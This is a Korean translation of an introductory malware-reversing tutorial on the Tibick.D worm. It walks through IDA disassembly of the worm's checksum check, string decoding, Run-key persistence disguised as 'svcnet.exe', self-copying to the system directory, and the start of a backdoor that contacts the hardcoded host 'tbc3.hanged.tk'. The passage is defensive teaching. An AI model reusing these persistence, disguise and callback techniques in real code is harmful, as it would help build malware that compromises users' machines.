Reversing Malware: Analysis of the worm "Tibick.D"

Written by Daniel "Lesco" Schoepe

편역: poc@securityproof.net

*오역이나 오타가 있을 수 있으니 원문을 참고하시기 바랍니다.

Malware는 컴퓨터 시스템에는 심각한 위협이다. '**malware**'라는 용어는 virus, worm, rootkit, spyware, 그리고 다른 위협 요소들을 포함하는 다른 많은 악성 코드의 상위 집합(superset)이다. 'malware'이나 malware의 변종에 대한 오래 된 공식적인 정의는 이 글의 범위에 벗어나며, 그래서 필자는 바이러스와 웜에 대한 아주 간단한 구분만 제시할 것이다. 바이러스는 Windows에 몇 가지 형태의 실행 코드(예를 들어 PE-Files(.exe, .dll 등))에 그 자신을 attach함으로써 자기 복제를 하는 반면, 웜은 주로 인터넷을 시용해 퍼진다. 웜은 소프트웨어에 존재하는 보안 취약점을 이용하거나 다른 사용자에게 믿을만한 이메일로 가장하여 보내거나 peer-to-peer 기술을 이용한다. 더 많은 차이들이 있지만 다른 문서에서 이미 반복적으로 토론되어 왔다.

그와 같은 악성 코드의 내부 작동 원리를 이해하고 분석하는 것은 리버싱 엔지니어링 분야에서 중요한 능력인데, 왜냐하면 악성 코드에 대해 시스템을 더 안전하게 만들기 위해 어떤 식으로 시스템이 malware에 의해 수정되는지 탐지하는 것과 악성 코드에 대한 안전한 인식을 가능하게 만들기 때문이다. 이 문서의 목적은 malware 분석 분야에 대해 소개하는 것이다. 이 글에서 나중에 해부할 웜은 새로운 것도 알려지지 않은 것도 아니며, 이미 분석된 것이다. 특히 이전에 웜을 분석해보지 않은 사람 또는 상대적으로 리버싱 엔지니어링에 초보인 사람들이 이해할 수 있도록 아주 단순하고 원시적인 웜을 선택했다.

이 글은 전문적인 malware 리버싱 분석가 또는 리버싱 분석가에게는 그렇게 흥미롭지 않을 수 있다.

필요한 것:

이 글의 독자들은 x86 어셈블리어, WinSock을 포함한 Win32-API에 대한 기본적인 지식을 가지고 있어야 한다. 하지만, Tibick.D 웜의 코드와 구조가 아주 간단하고 분석하기가 쉬우며, 디스어셈블된 코드를 읽는데 많은 경험을 가지고 있지 않더라도 코드에 대해 이해가 가능할 것이다. 덧붙여 독자들은 자신이 선호하는 disassembler와 debugger를 다루는데 실전 경험을 가지고 있어야 한다.

이 문서에서 사용되는 소프웨어는 인터넷에서 무료로 구할 수 있다.

- 이 글에서 사용되는 주요 툴은 Datarescue에 의해 만들어진 The Interactive Disassembler이다. 구 버전은 무료로 구할 수 있다.
- (선택적임)더 나아가 필자는 이 malware를 분석하고 디버깅하는데 인터넷으로 직접적으로 연결되어 있지 않은 분리된 환경을 준비하길 제안한다. 이를 위해 다른 컴퓨터를 사용하거나 또는 더 편안한 방법인 VMware 또는 QEMU와 같은 가상 머신을 이용하는 것이다. 이것은 선택적인데, 왜냐하면 모든 것이 코드의 deadlisting으로부터 읽혀질 수 있지만, 만약 malware의 행위에 대해 경험하고자 원하거나 그런 경험을 했다는 것을 가정 한다면, 이런 상황이 필요하기 때문이다. 이 글에서

분석되는 malware는 아주 원시적이지만 여전히 malware이며, 따라서 독자의 시스템에 그것을 실행하면 안된다.

- 만약 분리된 시스템에서 malware를 디버깅하고자 원한다면 디버거(debugger)가 필요할 것이다. 필자는 사용하기에 편하고 강력하며, 무료로 구할 수 있는 OllyDbg를 권한다.
- 이 문서를 위해 사용한 다른 툴 하나는 자동으로 packer/compiler를 탐지하는 등의 다른 유용한 기능을 가진 PE-Analyzer인 PEiD이다.
- (선택적임) 분석에 사용되는 웜이 irc(internet relay chat) 프로토콜을 사용하기 때문에 테스트를 위해 irc-daemon와 irc-client가 필요하다.
- 독자 여러분이 필요로 하는 또 다른 하나는 그 웜의 복사본이다. 필자는 암호화된 rar 파일을 첨부했으며, 패스워드는 "iknowthatthisfileismalware"이다. 필자는 그 파일이 우연이라도 실행되는 것을 막기 위해 파일 확장자를 변경했다. 이 파일은 여기서 구할 수 있다.

예로 사용되는 **Tibick.D** 에 대하여

Tibick.D 웜은 어떤 한 웜의 아주 단순한 변종이다. 그것은 사용자가 다운받아 실행해야 한다. 이것은 기존의 다른 파일들을 감염시키지 않으며, 다른 많은 파일 이름을 사용해 다양한 peer-to-peer 네트워크를 통해 퍼진다. 필자는 malware 리버싱에 대해 소개하기 위해 이 웜을 선택하였다. 추가 문서에서 그들의 존재를 숨기거나 퍼져나가기 위해 더 복잡한 기법들을 사용하는 더 복잡한 예들을 분석할 것이다.

이 글에서 우리는 디스어셈블리어를 살펴봄으로써 웜을 분석할 것이다. 보통 다른 기법들과 프로그램들이 네트워크 스니퍼 또는 파일/레지스터리 모니터와 같이 사용되지만, 그것은 malware의 단순한 예이며, 그 코드의 deadlisting이 대부분의 정보를 주기 때문에 이 부분은 일부러 제외했다.

분석

감염 루틴

우리는 packer가 사용되었는지 여부와 어떤 컴파일러로 웜이 컴파일 되었는지 알아내기 위해 PEiD로 파일을 스캐닝을 먼저 할 것이다. PEid는 "LCC Win32 1.x -> Jacob Navia [Overlay]"를 보여줄 것이며, 우리는 실행 파일을 언패킹(unpacking)하는 것 때문에 귀찮아할 필요가 없을 것이다. 하지만 우리는 PEiD를 완전히 신뢰해서는 안되는데, 엔트리 포인트에 잘못된 signature를 위치시킬 수 있기 때문이다. 실행 파일은 exe 파일의 일반적인 레이아웃인 3개의 섹션(".text", ".data",".idata")을 가지고 있다.

계속 분석을 하기 위해 웜 파일을 디스어셈블하기 위한 IDA를 사용한다. 그 실행 파일의 엔트리 포인트는 다소 일반적으로 보이는데, 왜냐하면 그것의 디폴트 엔트리 포인트가 lcc 컴파일러에 의해 생성되었기 때문이다:

Code:

```
.text:00401219                public start
.text:00401219 start          proc near
.text:00401219
.text:00401219 var_30         = word ptr -30h
.text:00401219 var_18         = dword ptr -18h
.text:00401219 var_4          = dword ptr -4
.text:00401219
.text:00401219                mov     eax, large fs:0
.text:0040121F                push    ebp
.text:00401220                mov     ebp, esp
.text:00401222                push    0FFFFFFFFh
.text:00401224                push    offset unk_40401C
.text:00401229                push    offset loc_40109A
.text:0040122E                push    eax
.text:0040122F                mov     large fs:0, esp
.text:00401236                sub     esp, 10h
.text:00401239                push    ebx
.text:0040123A                push    esi
.text:0040123B                push    edi
.text:0040123C                mov     [ebp+var_18], esp
.text:0040123F                push    eax
.text:00401240                fnstcw  [esp+30h+var_30]
.text:00401243                or      word ptr [esp], 300h
.text:00401249                fldcw   [esp+30h+var_30]
.text:0040124C                add     esp, 4
.text:0040124F                push    0
.text:00401251                push    0
```

```
.text:00401253                push    offset dword_404028
.text:00401258                push    offset dword_404024
.text:0040125D                push    offset dword_404020
.text:00401262                call    __GetMainArgs
.text:00401267                push    dword_404028
.text:0040126D                push    dword_404024
.text:00401273                push    dword_404020
.text:00401279                mov     dword_404014, esp
.text:0040127F                call    sub_402FE8
.text:00401284                add     esp, 18h
.text:00401287                xor     ecx, ecx
.text:00401289                mov     [ebp+var_4], ecx
.text:0040128C                push    eax
.text:0040128D                call    exit
.text:00401292                leave
.text:00401293                retn
.text:00401293 start          endp
```

먼저, seh(structured exception handler)가 설치된다. 그런 다음 실행 파일은 아규먼트들을 검색하여 찾고, 윔을 만든 프로그래머에 의해 정의된 main() 함수인 것처럼 보이는 함수로 그 아규먼트들을 전달한다. 좀더 자세하게 알아보기 위해 sub_402FE8 함수 부분을 살펴보자:

Code:

```
.text:00402FE8                push    ebp
.text:00402FE9                mov     ebp, esp
.text:00402FEB                push    ecx
.text:00402FEC                push    edi
.text:00402FED                call    GetCommandLineA
.text:00402FF2                mov     edi, eax
.text:00402FF4                cmp     byte ptr [edi], 22h
.text:00402FF7                jnz     short loc_40301C
.text:00402FF9                push    22h
```

```
.text:00402FFB                mov     eax, edi
.text:00402FFD                inc     eax
.text:00402FFE                push    eax
.text:00402FFF                call    strchr
.text:00403004                add     esp, 8
.text:00403007                mov     [ebp+var_4], eax
.text:0040300A                or      eax, eax
.text:0040300C                jz      short loc_403037
.text:0040300E                mov     edi, eax
.text:00403010                inc     edi
.text:00403011                jmp     short loc_403014
```

이 코드는 GetCommandlineA라는 API를 이용하여 명령 라인 문자열에 대한 포인터를 획득함으로써 시작하며, 첫 문자가 따옴표(따옴표 “에 대한 ascii 코드는 0x22임)인지 확인한다. 만약 첫 문자가 따옴표가 아니면 다음 코드로 jump한다.

그렇지 않으면 표준 C 함수인 strchr() 함수를 이용하여 따옴표에 해당하는 문자열의 나머지를 찾음으로써 진행하고, 그 문자열에서 처음으로 등장하는 문자를 찾는다. 위 코드의 목적은 프로그램의 경로가 아규먼트들로부터 따옴표들에 의해 분리되었는지의 여부를 확인하는 것이다. 실행파일을 실행하면 실행파일의 경로는 경로명에 공간(space)을 가능하게 만들기 위해 따옴표에 의해 분리되며, 만약 그렇지 않으면 경로와 아규먼트들 사이의 공간으로부터 구분이 가능하지 않을 수 있다.

결과적으로, 이 웜은 하나의 space(두 번째 따옴표로부터 시작하던 또는 그 문자열의 시작으로부터 시작하던) 다음의 첫 문자를 찾음으로써 아규먼트들의 시작을 획득할 것이다.

Code:

```
.text:00403037                push    0               ; lpModuleName
.text:00403039                call    GetModuleHandleA
.text:0040303E                push    1
.text:00403040                push    edi
.text:00403041                push    0
.text:00403043                push    eax
.text:00403044                call    sub_4029B3
.text:00403049                pop     edi
```

```
.text:0040304A                leave
.text:0040304B                retn
.text:0040304B sub_402FE8     endp
```

이 코드는 프로그램 아규먼트에 포인터를 전달하고, 0x4029B3에 있는 함수에 모듈 핸들(module handle)을 전달한다:

Code:

```
.text:004029B3 sub_4029B3     proc near               ; CODE XREF: sub_402FE8+5C
.text:004029B3
.text:004029B3 Parameter      = byte ptr -6C0h
.text:004029B3 var_5C0        = byte ptr -5C0h
.text:004029B3 var_4C0        = dword ptr -4C0h
.text:004029B3 var_4BC        = dword ptr -4BCh
.text:004029B3 var_4B8        = dword ptr -4B8h
.text:004029B3 WSAData        = WSAData ptr -4ACh
.text:004029B3 hKey           = dword ptr -31Ch
.text:004029B3 ThreadId       = dword ptr -318h
.text:004029B3 var_314        = byte ptr -314h
.text:004029B3 buf            = byte ptr -214h
.text:004029B3 addr           = byte ptr -114h
.text:004029B3 String         = byte ptr -110h
.text:004029B3 name           = sockaddr ptr -10h
.text:004029B3 lpString1      = dword ptr  10h
.text:004029B3
.text:004029B3                push    ebp
.text:004029B4                mov     ebp, esp
.text:004029B6                sub     esp, 6C0h
.text:004029BC                push    ebx
.text:004029BD                push    esi
.text:004029BE                push    edi
.text:004029BF                push    offset aTbc3_hanged_tk ; "tbc3.hanged.tk"
```

```
.text:004029C4                call    sub_40132B
.text:004029C9                pop     ecx
.text:004029CA                cmp     eax, 50Eh
.text:004029CF                jnz     short loc_4029E3
.text:004029D1                push    offset aTibicP2p3 ; "##TIBiC-P2P3##"
.text:004029D6                call    sub_40132B
.text:004029DB                pop     ecx
.text:004029DC                cmp     eax, 349h
.text:004029E1                jz      short loc_4029EB
.text:004029E3
.text:004029E3 loc_4029E3:                            ; CODE XREF: sub_4029B3+1C
.text:004029E3                push    0
.text:004029E5                call    exit
```

IDA는 ThreadID 또는 WSAData와 같은 로컬 변수의 이름을 이미 추측했으며, 이것이 우리에게 말해주는 것은 이 malware가 소켓 함수를 사용하고, 인터넷에 연결할 것이라는 것을 어느 정도 말해줄 것이다.

이 루틴은 어떤 루틴에 두 개의 변경되지 못하게 코딩된(hardcoding) 문자열을 전달하고 하드 코딩된 값과 그 결과를 비교함으로써 시작한다. 추측을 해보면 이 루틴은 문자열로부터 간단한 체크섬(checksum)을 만들고, 리턴된 체크섬은 중요한 부분에서 파일이 조작되는 것을 막기 위해 하드 코딩된 것과 비교된다. 이를 확인하기 위해 sub_40132B 부분을 살펴보자:

Code:

```
.text:0040132B sub_40132B     proc near               ; CODE XREF: sub_4029B3+11
.text:0040132B                                        ; sub_4029B3+23
.text:0040132B
.text:0040132B arg_0          = dword ptr  8
.text:0040132B
.text:0040132B                push    ebx
.text:0040132C                mov     ebx, [esp+arg_0]
.text:00401330                xor     edx, edx
.text:00401332                mov     ecx, edx
.text:00401334                jmp     short loc_40133D
```

```
.text:00401336 ; ---------------------------------------------------------------------------
.text:00401336
.text:00401336 loc_401336:                             ; CODE XREF: sub_40132B+16
.text:00401336                 movsx   eax, byte ptr [ebx+ecx]
.text:0040133A                 add     edx, eax
.text:0040133C                 inc     ecx
.text:0040133D
.text:0040133D loc_40133D:                             ; CODE XREF: sub_40132B+9
.text:0040133D                 cmp     byte ptr [ebx+ecx], 0
.text:00401341                 jnz     short loc_401336
.text:00401343                 mov     eax, edx
.text:00401345                 pop     ebx
.text:00401346                 retn
.text:00401346 sub_40132B      endp
```

ebx 레지스터의 값을 보존하기 위해 ebx는 함수의 시작 부분에서 push되고, 아규먼트(문자열에 대한 포인터)는 ebx로 이동되고, edx와 ecx는 둘 다 “xor edx, edx”를 통해 0으로 설정된다. 이것은 최적화의 표준 예인데, 더 분명한 것은 "mov edx,0"는 그 파일 내에 더 많은 공간을 필요로 할 뿐만 아니라 컴파일러에 의해 사용되는 방법보다 더 느릴 것이다.

그런 다음 null 문자가 발견될 때까지 그것은 edx에 문자들의 값을 추가한다. 이것은 우리의 추측이 옳았으며, 이 malware는 두 문자열에 대해 무결성 체크를 수행한다. 하지만, 이 루틴에 전달된 두 문자열("tbc3.hanged.tk"와 "##TIBiC-P2P3##")은 중요한 것처럼 보이며, 명심해야만 한다.

체크섬 후에 코드는 다음과 같다:

Code:

```
.text:004029EB                 lea     eax, [ebp+WSAData]
.text:004029F1                 push    eax             ; lpWSAData
.text:004029F2                 push    101h            ; wVersionRequested
.text:004029F7                 call    WSAStartup
.text:004029FC                 or      eax, eax
.text:004029FE                 jz      short loc_402A08
.text:00402A00                 xor     eax, eax
```

```
.text:00402A02                 inc     eax
.text:00402A03                 jmp     loc_402F36
.text:00402A08 ; ---------------------------------------------------------------------------
.text:00402A08
.text:00402A08 loc_402A08:                             ; CODE XREF: sub_4029B3+4B
.text:00402A08                 call    GetTickCount
.text:00402A0D                 push    eax
.text:00402A0E                 call    srand
.text:00402A13                 push    offset aTpguxbsfNjdspt ; "Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstj"...
.text:00402A18                 lea     eax, [ebp+String]
.text:00402A1E                 push    eax
.text:00402A1F                 call    wsprintfA
.text:00402A24                 push    0FFFFFFFFh
.text:00402A26                 lea     eax, [ebp+String]
.text:00402A2C                 push    eax
.text:00402A2D                 call    sub_4012FC
.text:00402A32                 add     esp, 14h
.text:00402A35                 push    0               ; lpdwDisposition
.text:00402A37                 lea     eax, [ebp+hKey]
.text:00402A3D                 push    eax             ; phkResult
.text:00402A3E                 push    0               ; lpSecurityAttributes
.text:00402A40                 push    0F003Fh         ; samDesired
.text:00402A45                 push    0               ; dwOptions
.text:00402A47                 push    0               ; lpClass
.text:00402A49                 push    0               ; Reserved
.text:00402A4B                 lea     eax, [ebp+String]
.text:00402A51                 push    eax             ; lpSubKey
.text:00402A52                 push    80000002h       ; hKey
.text:00402A57                 call    RegCreateKeyExA
.text:00402A5C                 push    offset aSvcnet_exe ; lpString
.text:00402A61                 call    lstrlenA
.text:00402A66                 push    eax             ; cbData
.text:00402A67                 push    offset aSvcnet_exe ; lpData
```

```
.text:00402A6C                push    1               ; dwType
.text:00402A6E                push    0               ; Reserved
.text:00402A70                push    offset aShellapi32 ; lpValueName
.text:00402A75                push    [ebp+hKey]      ; hKey
.text:00402A7B                call    RegSetValueExA
.text:00402A80                push    [ebp+hKey]      ; hKey
.text:00402A86                call    RegCloseKey
.text:00402A8B                push    0               ; lpdwDisposition
.text:00402A8D                lea     eax, [ebp+hKey]
.text:00402A93                push    eax             ; phkResult
.text:00402A94                push    0               ; lpSecurityAttributes
.text:00402A96                push    0F003Fh         ; samDesired
.text:00402A9B                push    0               ; dwOptions
.text:00402A9D                push    0               ; lpClass
.text:00402A9F                push    0               ; Reserved
.text:00402AA1                lea     eax, [ebp+String]
.text:00402AA7                push    eax             ; lpSubKey
.text:00402AA8                push    80000001h       ; hKey
.text:00402AAD                call    RegCreateKeyExA
.text:00402AB2                push    offset aSvcnet_exe ; lpString
.text:00402AB7                call    lstrlenA
.text:00402ABC                push    eax             ; cbData
.text:00402ABD                push    offset aSvcnet_exe ; lpData
.text:00402AC2                push    1               ; dwType
.text:00402AC4                push    0               ; Reserved
.text:00402AC6                push    offset aShellapi32 ; lpValueName
.text:00402ACB                push    [ebp+hKey]      ; hKey
.text:00402AD1                call    RegSetValueExA
.text:00402AD6                push    [ebp+hKey]      ; hKey
.text:00402ADC                call    RegCloseKey
```

코드는 WinSock-API를 초기화함으로써 시작되고, 성공에 대한 결과를 점검하고, 만약 초기화가 실패한다면 이 함수는 남아 있으며, 이것은 프로그램의 종료로 연결된다. 초기화 후에 다양한 레지스터리 접근이 뒤따른다. 접근한 subkey의 이름은 암호화된 형식으로 저장되어 있는 것처럼 보이며, 그래서 wsprintf-API를 사용하여 버퍼에 복사되며, 이 버퍼에 대한 포인터는 그런 다음 해독(decryption) 루틴이어야 하는 함수로 전달된다. 왜냐하면 그렇지 않다면 레지스터리 접근이 실패할 것이기 때문이다. 이 함수는 2개의 아규먼트를 가지는데, 첫 번째 것(역순으로 PUSH됨)은 해독될 문자열에 대한 포인터이며, 두 번째 것(0xFFFFFFFF)은 이 시점에서는 분명한 의미는 없지만 더 깊게 살펴보면 그것의 의미를 이해하게 될 것이다. 그 함수 자체는 길지 않다:

Code:

```
.text:004012FC sub_4012FC      proc near               ; CODE XREF: sub_4014DF+25
.text:004012FC                                         ; sub_4016E6+36 ...
.text:004012FC
.text:004012FC arg_0           = dword ptr  10h
.text:004012FC arg_4           = dword ptr  14h
.text:004012FC
.text:004012FC                 push    ebx
.text:004012FD                 push    esi
.text:004012FE                 push    edi
.text:004012FF                 mov     esi, [esp+arg_0]
.text:00401303                 mov     ebx, [esp+arg_4]
.text:00401307                 xor     edi, edi
.text:00401309                 jmp     short loc_401315
.text:0040130B ; ---------------------------------------------------------------------------
.text:0040130B
.text:0040130B loc_40130B:                             ; CODE XREF: sub_4012FC+27
.text:0040130B                 movsx   eax, byte ptr [esi+edi]
.text:0040130F                 add     eax, ebx
.text:00401311                 mov     [esi+edi], al
.text:00401314                 inc     edi
.text:00401315
.text:00401315 loc_401315:                             ; CODE XREF: sub_4012FC+D
```

```
.text:00401315                mov     ecx, esi
.text:00401317                or      eax, 0FFFFFFFFh
.text:0040131A
.text:0040131A loc_40131A:                            ; CODE XREF: sub_4012FC+23
.text:0040131A                inc     eax
.text:0040131B                cmp     byte ptr [ecx+eax], 0
.text:0040131F                jnz     short loc_40131A
.text:00401321                cmp     edi, eax
.text:00401323                jl      short loc_40130B
.text:00401325                mov     eax, esi
```

처음에 그 함수는 사용할 레지스터들을 저장하고(일반적인 함수는 eax, ecx, 그리고 edx의 값을 변경할 수 있다), 그런 다음 두 번째 아규먼트를 ebx로, 첫 번째 아규먼트를 esi로 로딩한다. Edi는 0으로 설정되고, 뒤따르는 루프에서 카운트 변수로서 기능한다. 이 루프는 그 문자열로부터 하나의 문자를 읽고, 그것에 두 번째 파라미터를 추가하며, 그 결과 바이트를 다시 문자열에 쓴다.

그런 다음 문자열의 길이가 계산되고(각 루프의 라운드에서는 clock cycle의 낭비이다), 그런 다음 edi와 비교되며, 이것은 각 라운드별로 감소한다. 만약 더 높거나 동일하며 루프는 종료한다. 두 번째 파라미터가 0xFFFFFFFF인 특정한 경우, 문자열의 모든 문자는 0xFFFFFFFF가 -1을 나타내는 것이기 때문에 감소한다. 문자열을 디코딩하기 위해 우리는 우리가 좋아하는 언어로 사용된 알고리즘을 코딩하여 직접 적용하거나 또는 문자열을 해독하는 동안 malware를 디버깅할 수 있다. 하지만 실제 여러분의 시스템이 아니라 분리된 환경에서 디버깅을 해야 한다.(만약 malware 파일이 디버거에서 완전히 실행되는 가능성에 의해 시스템의 무결성이 위험 받는 위협을 무릅쓰기를 원한다면 이 코드까지 실행시키고 실제 시스템에서 프로세스를 중지시킬 수 있다.)

그렇게 함으로써, 우리는 malware에 대한 autostart 엔트리를 만드는데 사용되는 해독된 문자열 "Software₩Microsoft₩Windows₩CurrentVersion₩Run"을 구할 수 있다. 이 key는 두 번 만들어지고, 단지 RegOpenKeyEx에 대한 호출을 위한 Rootkey 아규먼트만 다르다. 그 값에 대해 오른쪽 마우스를 클릭함으로써 IDA가 그 값에 대한 심볼릭 명(symbolic name)을 표시하도록 할 수 있다. 그와 같은 방식으로 우리는 key가 두 개의 root key인 HKEY_LOCAL_MACHINE와 HKEY_CURRENT_USER에서 만들어진다는 것을 알 수 있다. 생성된 엔트리의 이름과 값은 디폴트 Windows 설치 시 디폴트 단위로 여러 번 실행되는 정상적인 svchost(Win32 서비스들을 위한 Generic Host Process) 프로세스에 대해 실수로 잘못 받아들일 것이라는 희망으로 "Shellapi32"와 "svcnet.exe"로 하드 코딩된다.

Autostart 엔트리들이 생성된 후 malware는 다음을 계속할 것이다:

Code:

```
.text:00402AE1                push    offset aSvcnet_exe ; lpName
.text:00402AE6                push    0                  ; bInheritHandle
.text:00402AE8                push    1F0001h            ; dwDesiredAccess
.text:00402AED                call    OpenMutexA
.text:00402AF2                mov     edi, eax
.text:00402AF4                or      eax, eax
.text:00402AF6                jz      short loc_402B00
.text:00402AF8                xor     eax, eax
.text:00402AFA                inc     eax
.text:00402AFB                jmp     loc_402F36
.text:00402B00 ; ---------------------------------------------------------------------------
.text:00402B00
.text:00402B00 loc_402B00:                               ; CODE XREF: sub_4029B3+143
.text:00402B00                push    offset aSvcnet_exe ; lpName
.text:00402B05                push    0                  ; bInitialOwner
.text:00402B07                push    0                  ; lpMutexAttributes
.text:00402B09                call    CreateMutexA
```

이 웜은 시스템에 이미 "svcnet.exe"가 실행 중인지 체크하기 위해 "svcnet.exe"라는 이름으로 mutex를 사용한다. Mutex는 'mutual exclusion'의 줄임말로, 오브젝트가 어떤 주어진 시간에 단지 하나의 쓰레드에 의해 사용되는 것을 확인하기 위한 메커니즘이다. 만약 mutex가 생성되지 않았다면 함수는 CreateMutexA-call과 다음 코드를 실행하는데 실패할 것이다. 그렇지 않다면 mutex가 이미 생성되었고, malware의 다른 한 예가 실행되고 있는 것처럼 보이기 때문에 그 함수는 종료한다.

결과적으로 malware는 그것의 파일명과 경로를 살펴봄으로써 지속된다:

Code:

```
.text:00402B10                push    0                  ; lpModuleName
.text:00402B12                call    GetModuleHandleA
.text:00402B17                push    0FFh               ; nSize
.text:00402B1C                lea     edx, [ebp+String]
```

```
.text:00402B22                push    edx             ; lpFilename
.text:00402B23                push    eax             ; hModule
.text:00402B24                call    GetModuleFileNameA
.text:00402B29                push    0FFh            ; uSize
.text:00402B2E                lea     eax, [ebp+buf]
.text:00402B34                push    eax             ; lpBuffer
.text:00402B35                call    GetSystemDirectoryA
.text:00402B3A                lea     eax, [ebp+buf]
.text:00402B40                push    eax
.text:00402B41                lea     eax, [ebp+String]
.text:00402B47                push    eax
.text:00402B48                call    sub_40304C
.text:00402B4D                add     esp, 8
.text:00402B50                or      eax, eax
.text:00402B52                jz      short loc_402B6C
.text:00402B54                push    offset aSvcnet_exe ; "svcnet.exe"
.text:00402B59                lea     edx, [ebp+String]
.text:00402B5F                push    edx
.text:00402B60                call    sub_40304C
.text:00402B65                add     esp, 8
.text:00402B68                or      eax, eax
.text:00402B6A                jnz     short loc_402BDE
```

이 코드는 현재 모듈의 파일명과 시스템 디렉토리의 경로를 확보한다. 이 모듈은 두 번 다른 함수에 전달되는데, 한번은 다른 아규먼트처럼 시스템 디렉토리와 함께 전달되고, 다른 한번은 malware에서 이미 사용되었으며, 시스템 내에서 그 자신을 숨기기로 한 이름인 "svcnet.exe" 문자열과 함께 전달된다. sub_40304C의 결과는 0이 아닌 것에 대해 두 번 점검된다. 호출된 함수들은 그 malware가 GetSystemDirectory()₩svcnet.exe로부터 실행되고 있는지 아닌지 점검하기 위해 어떤 종류의 문자열 비교를 수행한다. 시스템 디렉토리는 보통 Windows₩system32 또는 WinNT₩system32이다. 만약 파일명과 경로명이 다르면 이 코드는 실행된다:

Code:

```
.text:00402B6C
.text:00402B6C loc_402B6C:                             ; CODE XREF: sub_4029B3+19F
.text:00402B6C                 push    offset String2  ; lpString2
.text:00402B71                 lea     eax, [ebp+buf]
.text:00402B77                 push    eax             ; lpString1
.text:00402B78                 call    lstrcatA
.text:00402B7D                 push    offset aSvcnet_exe ; lpString2
.text:00402B82                 lea     eax, [ebp+buf]
.text:00402B88                 push    eax             ; lpString1
.text:00402B89                 call    lstrcatA
.text:00402B8E                 push    0               ; bFailIfExists
.text:00402B90                 lea     eax, [ebp+buf]
.text:00402B96                 push    eax             ; lpNewFileName
.text:00402B97                 lea     eax, [ebp+String]
.text:00402B9D                 push    eax             ; lpExistingFileName
.text:00402B9E                 call    CopyFileA
.text:00402BA3                 or      eax, eax
.text:00402BA5                 jnz     short loc_402BAD
.text:00402BA7                 inc     eax
.text:00402BA8                 jmp     loc_402F36
.text:00402BAD ; ---------------------------------------------------------------------------
.text:00402BAD loc_402BAD:                             ; CODE XREF: sub_4029B3+1F2
.text:00402BAD                 push    0               ; nShowCmd
.text:00402BAF                 push    0               ; lpDirectory
.text:00402BB1                 push    0               ; lpParameters
.text:00402BB3                 lea     eax, [ebp+buf]
.text:00402BB9                 push    eax             ; lpFile
.text:00402BBA                 push    offset aOpen    ; lpOperation
.text:00402BBF                 push    0               ; hwnd
.text:00402BC1                 call    ShellExecuteA
.text:00402BC6                 push    offset aInstant ; lpString2
.text:00402BCB                 push    [ebp+lpString1] ; lpString1
.text:00402BCE                 call    lstrcmpA
```

```
.text:00402BD3                or      eax, eax
.text:00402BD5                jz      short loc_402BDE
.text:00402BD7                xor     eax, eax
.text:00402BD9                jmp     loc_402F36
```

lstrcatA에 대한 첫 번째 호출은 시스템 디렉토리에 백슬래쉬를 붙인다. 두 번째 호출은 "svcnet.exe"와 시스템 디렉토리를 함께 연결시키고, 그런 다음 그것을 CopyFileA에 대한 아규먼트로 사용한다. 그래서 그 malware는 그 자신을 "svcnet.exe"라는 이름으로 시스템 디렉토리에 복사한다. 이와 같은 행위는 malware에는 아주 흔한 일이며, 사용자가 이 파일이 정상적인 시스템 파일이라고 생각할 수 있으며, 이 파일이 malware라는 것을 목격하지 않을 수 있기 때문이다. 복사가 실패할 때 malware는 포기하고 종료(exit)한다. 만약 성공한다면 생성된 파일은 ShellExecuteA-API를 이용해 실행된다. ShellExecuteA-Call 후에 lstrcmpA에 대한 호출이 뒤따르고, 여기에 "lpString1" 아규먼트는 문자열 "instant"와 비교된다. 하지만 이 함수에 무엇이 전달되었는가? 프로그램의 아규먼트들과 더불어 문자열에 대한 포인터는 지금 비교되는 아규먼트라는 것이 그 해답이다. 그래서 만약 첫 명령어 라인이 "...₩malware.exe instant"라면 프로그램은 실행을 계속하고, 그렇지 않으면 종료한다.

The backdoor

일단 malware가 시스템 폴더에 자신을 위치시키면 시스템이 공격자들에게 접근 가능하도록 만든다. 다음 코드는 실행되고, 일단 malware가 바라던 이름이나 또는 "instant"가 지정될 때 시스템 폴더로부터 실행되고 있는지 확인한다:

Code:

```
.text:00402BDE loc_402BDE:                            ; CODE XREF: sub_4029B3+1B7
.text:00402BDE                                        ; sub_4029B3+222
.text:00402BDE                lea     eax, [ebp+ThreadId]
.text:00402BE4                push    eax             ; lpThreadId
.text:00402BE5                push    0               ; dwCreationFlags
.text:00402BE7                push    0               ; lpParameter
.text:00402BE9                push    offset StartAddress ; lpStartAddress
.text:00402BEE                push    0               ; dwStackSize
.text:00402BF0                push    0               ; lpThreadAttributes
```

```
.text:00402BF2                 call    CreateThread
.text:00402BF7
.text:00402BF7 loc_402BF7:                             ; CODE XREF: sub_4029B3+2DC
.text:00402BF7                                         ; sub_4029B3+57C
.text:00402BF7                 push    10h
.text:00402BF9                 lea     eax, [ebp+name]
.text:00402BFC                 push    eax
.text:00402BFD                 call    RtlZeroMemory
.text:00402C02                 mov     [ebp+name.sa_family], 2
.text:00402C08                 push    1A0Bh           ; hostshort
.text:00402C0D                 call    htons
.text:00402C12                 mov     edx, eax
.text:00402C14                 mov     word ptr [ebp+name.sa_data], dx
.text:00402C18                 push    offset aTbc3_hanged_tk ; cp
.text:00402C1D                 call    inet_addr
.text:00402C22                 mov     dword ptr [ebp+addr], eax
.text:00402C28                 cmp     eax, 0FFFFFFFFh
.text:00402C2B                 jnz     short loc_402C3B
.text:00402C2D                 push    offset aTbc3_hanged_tk ; name
.text:00402C32                 call    gethostbyname
.text:00402C37                 mov     ebx, eax
.text:00402C39                 jmp     short loc_402C4D
.text:00402C3B ; ---------------------------------------------------------------------------
.text:00402C3B
.text:00402C3B loc_402C3B:                             ; CODE XREF: sub_4029B3+278
.text:00402C3B                 push    2               ; type
.text:00402C3D                 push    4               ; len
.text:00402C3F                 lea     eax, [ebp+addr]
.text:00402C45                 push    eax             ; addr
.text:00402C46                 call    gethostbyaddr
.text:00402C4B                 mov     ebx, eax
.text:00402C4D
.text:00402C4D loc_402C4D:                             ; CODE XREF: sub_4029B3+286
```

```
.text:00402C4D                or      ebx, ebx
.text:00402C4F                jnz     short loc_402C5D
.text:00402C51                push    2710h           ; dwMilliseconds
.text:00402C56                call    Sleep
.text:00402C5B                jmp     short loc_402C8F
.text:00402C5D ; ---------------------------------------------------------------------------
```

